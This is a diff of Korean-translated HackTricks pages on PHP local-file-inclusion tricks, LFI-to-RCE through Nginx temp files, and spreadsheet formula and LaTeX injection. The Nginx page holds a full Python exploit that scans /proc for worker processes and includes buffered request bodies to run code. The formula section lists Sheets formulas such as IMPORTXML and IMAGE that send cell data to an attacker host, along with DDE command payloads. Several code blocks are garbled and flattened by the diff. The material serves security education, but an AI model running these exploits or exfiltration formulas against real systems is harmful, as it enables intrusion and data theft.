||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### `compress.zlib://` 및 `PHP_STREAM_PREFER_STDIO`
|
### `compress.zlib://` 및 `PHP_STREAM_PREFER_STDIO`
|
||||||
|
|
||||||
`PHP_STREAM_PREFER_STDIO` 플래그와 함께 `compress.zlib://` 프로토콜을 사용하여 열린 파일은 나중에 연결로 도착하는 데이터를 동일한 파일에 계속 쓸 수 있습니다.
|
`PHP_STREAM_PREFER_STDIO` 플래그와 함께 `compress.zlib://` 프로토콜을 사용하여 열린 파일은 나중에 연결로 도착하는 데이터를 동일한 파일에 계속 쓸 수 있습니다.
|
||||||
|
@ -55,25 +41,13 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||||
|
|
||||||
공격자는 **피해자 서버가 공격자의 서버에서 파일을 읽는 연결을 열도록** 할 것입니다 **`compress.zlib`** 프로토콜을 사용하여.
|
공격자는 **피해자 서버가 공격자의 서버에서 파일을 읽는 연결을 열도록** 할 것입니다 **`compress.zlib`** 프로토콜을 사용하여.
|
||||||
|
|
||||||
**이 연결**이 존재하는 동안 공격자는 **생성된 임시 파일의 경로를 유출**할 것입니다 (서버에 의해 유출됨).
|
**연결**이 존재하는 동안 공격자는 **생성된 임시 파일의 경로를 유출**할 것입니다 (서버에 의해 유출됨).
|
||||||
|
|
||||||
**연결**이 여전히 열려 있는 동안 공격자는 **자신이 제어하는 임시 파일을 로드하는 LFI를 이용할 것입니다**.
|
**연결**이 여전히 열려 있는 동안 공격자는 **자신이 제어하는 임시 파일을 로드하는 LFI를 이용할 것입니다**.
|
||||||
|
|
||||||
그러나 웹 서버에는 **`<?`**가 포함된 파일을 로드하는 것을 **방지하는 체크**가 있습니다. 따라서 공격자는 **경쟁 조건**을 악용할 것입니다. 여전히 열려 있는 연결에서 **공격자는** **웹 서버가** **금지된 문자가 포함되어 있는지 확인한 후** **PHP 페이로드를 전송할 것입니다**. 그러나 **내용을 로드하기 전에**입니다.
|
그러나 웹 서버에는 **`<?`**가 포함된 파일을 로드하는 것을 **방지하는 체크**가 있습니다. 따라서 공격자는 **경쟁 조건**을 악용할 것입니다. 여전히 열려 있는 연결에서 **공격자는** **웹 서버가** **금지된 문자가 포함되어 있는지 확인한 후** **PHP 페이로드를 전송할 것입니다**. 그러나 **내용을 로드하기 전에**입니다.
|
||||||
|
|
||||||
자세한 내용은 [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)에서 경쟁 조건 및 CTF 설명을 확인하세요.
|
자세한 정보는 [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)에서 경쟁 조건 및 CTF 설명을 확인하세요.
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **스틸러 악성코드**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -1,87 +1,5 @@
|
||||||
# LFI2RCE via Nginx temp files
|
# LFI2RCE via Nginx temp files
|
||||||
|
|
||||||
{% hint style="success" %}
|
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 취약한 구성
|
|
||||||
|
|
||||||
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**의 예시](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
|
||||||
|
|
||||||
* PHP 코드:
|
|
||||||
|
|
||||||
\`\`\`\`h\`
|
|
||||||
|
|
||||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` 주의: 이 예시에서 \`/proc/34/fd/15\`를 직접 포함할 수는 없으며, PHP의 \`include\` 함수는 경로를 \`/var/lib/nginx/body/0000001368 (deleted)\`로 해석하여 파일 시스템에 존재하지 않는 경로로 변환합니다. 이 작은 제한은 다행히도 다음과 같은 간접적인 방법으로 우회할 수 있습니다: \`/proc/self/fd/34/../../../34/fd/15\`는 결국 삭제된 \`/var/lib/nginx/body/0000001368\` 파일의 내용을 실행합니다. ## 전체 익스플로잇 \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # nginx의 클라이언트 본문 버퍼링 지원을 통한 PHP 로컬 파일 포함 (LFI) 익스플로잇 # 자세한 내용은 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ 참조 URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # nginx 작업자 프로세스 찾기 r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # nginx가 /var/lib/nginx/body/$X를 생성하도록 큰 클라이언트 본문 업로드 def uploader(): print('\[+] 업로더 시작') while not done: requests.get(URL, data=' //'
|
|
||||||
```
|
|
||||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
|
||||||
|
|
||||||
def send\_payload\_multiprocess(requests\_session): # 모든 CPU를 사용하여 Nginx에 요청 본문으로 페이로드를 전송합니다. for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
|
||||||
|
|
||||||
def generate\_random\_path\_prefix(nginx\_pids): # 이 메서드는 ProcFS 경로 구성 요소의 임의 개수로 경로를 생성합니다. 생성된 경로는 /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root와 같은 형식입니다. path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
|
||||||
|
|
||||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # 플래그는 hxp{} 형식으로 포맷됩니다. if "hxp" in d: print("플래그를 찾았습니다! ") print(d)
|
|
||||||
|
|
||||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Nginx FD를 10 - 45 사이에서 루프를 통해 스캔합니다. 파일과 소켓이 계속 닫히기 때문에 요청 본문 FD가 이 범위 내에서 열리는 것이 매우 일반적입니다. for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
|
||||||
|
|
||||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
|
||||||
|
|
||||||
if **name** == "**main**": print('\[DEBUG] 요청 세션 생성 중') requests\_session = create\_requests\_session() print('\[DEBUG] Nginx pids 가져오는 중') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] 페이로드 전송 시작') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] fd 리더 시작') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
|
||||||
```
|
|
||||||
```
|
|
||||||
|
|
||||||
## Labs
|
|
||||||
|
|
||||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
|
||||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
|
||||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
|
||||||
|
|
||||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
|
||||||
|
|
||||||
You can check their website and try their engine for **free** at:
|
|
||||||
|
|
||||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -96,5 +14,61 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
## 취약한 구성
|
||||||
|
|
||||||
|
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**에서의 예시](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||||
|
|
||||||
|
* PHP 코드:
|
||||||
|
```php
|
||||||
|
|
||||||
|
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||||
|
|
||||||
|
```
|
||||||
|
```markdown
|
||||||
|
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
```
|
||||||
```
|
```
|
||||||
|
|
||||||
|
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||||
|
|
||||||
|
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||||
|
|
||||||
|
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||||
|
|
||||||
|
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||||
|
|
||||||
|
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||||
|
|
||||||
|
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||||
|
|
||||||
|
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||||
|
|
||||||
|
```
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||||
|
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||||
|
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
```
|
||||||
|
|
|
@ -15,22 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Formula Injection
|
## Formula Injection
|
||||||
|
|
||||||
### Info
|
### Info
|
||||||
|
|
||||||
만약 당신의 **입력**이 **CSV 파일**(또는 아마도 **Excel**로 열릴 다른 파일) 안에 **반영**되고 있다면, 사용자가 **파일을 열거나** Excel 시트 안의 **링크를 클릭할 때** 실행될 **Excel 수식**을 넣을 수 있을지도 모릅니다.
|
만약 당신의 **input**이 **CSV 파일**(또는 아마도 **Excel**로 열릴 다른 파일) 안에 **반영**되고 있다면, 사용자가 **파일을 열 때** 또는 사용자가 엑셀 시트 안의 어떤 링크를 **클릭할 때** **실행**될 **Excel 수식**을 넣을 수 있을지도 모릅니다.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
요즘 **Excel은 외부에서 로드된 내용에 대해** (여러 번) **사용자에게 경고**하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대한 사회 공학에 특별한 노력이 필요합니다.
|
요즘 **Excel은 외부에서 로드된 내용**에 대해 **사용자에게 경고**(여러 번)하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대한 사회 공학에 특별한 노력이 필요합니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||||
|
@ -61,17 +53,17 @@ DDE ("cmd";"/C calc";"!A0")A0
|
||||||
* 클릭하면 민감한 데이터(스프레드시트의 세부 정보 또는 교사의 컴퓨터에서 포함될 수 있음)가 공격자의 서버로 전송됩니다.
|
* 클릭하면 민감한 데이터(스프레드시트의 세부 정보 또는 교사의 컴퓨터에서 포함될 수 있음)가 공격자의 서버로 전송됩니다.
|
||||||
4. **데이터 기록:**
|
4. **데이터 기록:**
|
||||||
* 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.
|
* 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.
|
||||||
* 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생과 기관의 프라이버시 및 보안을 더욱 손상시킬 수 있습니다.
|
* 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생들과 기관의 프라이버시와 보안을 더욱 손상시킬 수 있습니다.
|
||||||
|
|
||||||
### RCE
|
### RCE
|
||||||
|
|
||||||
**자세한 내용은** [**원본 게시물**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **을 확인하십시오.**
|
**자세한 내용은** [**원본 게시물**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **을 확인하십시오.**
|
||||||
|
|
||||||
특정 구성이나 이전 버전의 Excel에서는 동적 데이터 교환(DDE)이라는 기능을 악용하여 임의의 명령을 실행할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다:
|
특정 구성이나 이전 버전의 Excel에서는 임의의 명령을 실행하기 위해 동적 데이터 교환(DDE)이라는 기능을 악용할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다:
|
||||||
|
|
||||||
* 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 **동적 데이터 교환 서버 시작**을 활성화합니다.
|
* 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 **동적 데이터 교환 서버 시작**을 활성화합니다.
|
||||||
|
|
||||||
악성 페이로드가 포함된 스프레드시트를 열면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어, 계산기 애플리케이션을 실행하려면 페이로드는 다음과 같습니다:
|
악성 페이로드가 포함된 스프레드시트를 열면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어, 계산기 애플리케이션을 실행하기 위한 페이로드는 다음과 같습니다:
|
||||||
```markdown
|
```markdown
|
||||||
=cmd|' /C calc'!xxx
|
=cmd|' /C calc'!xxx
|
||||||
```
|
```
|
||||||
|
@ -92,17 +84,17 @@ LibreOffice Calc는 로컬 파일을 읽고 데이터를 유출하는 데 사용
|
||||||
|
|
||||||
Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다:
|
Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다:
|
||||||
|
|
||||||
* **CONCATENATE**: 문자열을 함께 추가 - `=CONCATENATE(A2:E2)`
|
* **CONCATENATE**: 문자열을 함께 추가합니다 - `=CONCATENATE(A2:E2)`
|
||||||
* **IMPORTXML**: 구조화된 데이터 유형에서 데이터 가져오기 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
* **IMPORTXML**: 구조화된 데이터 유형에서 데이터를 가져옵니다 - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||||
* **IMPORTFEED**: RSS 또는 ATOM 피드 가져오기 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
* **IMPORTFEED**: RSS 또는 ATOM 피드를 가져옵니다 - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||||
* **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터 가져오기 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
* **IMPORTHTML**: HTML 테이블 또는 목록에서 데이터를 가져옵니다 - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||||
* **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위 가져오기 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
* **IMPORTRANGE**: 다른 스프레드시트에서 셀 범위를 가져옵니다 - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||||
* **IMAGE**: 셀에 이미지 삽입 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
* **IMAGE**: 셀에 이미지를 삽입합니다 - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||||
|
|
||||||
## LaTeX Injection
|
## LaTeX Injection
|
||||||
|
|
||||||
일반적으로 인터넷에서 **LaTeX 코드를 PDF로 변환하는** 서버는 **`pdflatex`**를 사용합니다.\
|
일반적으로 인터넷에서 **LaTeX 코드를 PDF로 변환하는** 서버는 **`pdflatex`**를 사용합니다.\
|
||||||
이 프로그램은 명령 실행을 (허용/비허용)하기 위해 3가지 주요 속성을 사용합니다:
|
이 프로그램은 명령 실행을 (허용)하지 않기 위해 3가지 주요 속성을 사용합니다:
|
||||||
|
|
||||||
* **`--no-shell-escape`**: `texmf.cnf` 파일에서 활성화되어 있더라도 `\write18{command}` 구문을 **비활성화**합니다.
|
* **`--no-shell-escape`**: `texmf.cnf` 파일에서 활성화되어 있더라도 `\write18{command}` 구문을 **비활성화**합니다.
|
||||||
* **`--shell-restricted`**: `--shell-escape`와 동일하지만 **미리 정의된** '안전한' 명령 집합으로 **제한**됩니다 (\*\*Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다).
|
* **`--shell-restricted`**: `--shell-escape`와 동일하지만 **미리 정의된** '안전한' 명령 집합으로 **제한**됩니다 (\*\*Ubuntu 16.04에서는 목록이 `/usr/share/texmf/web2c/texmf.cnf`에 있습니다).
|
||||||
|
@ -198,11 +190,6 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||||
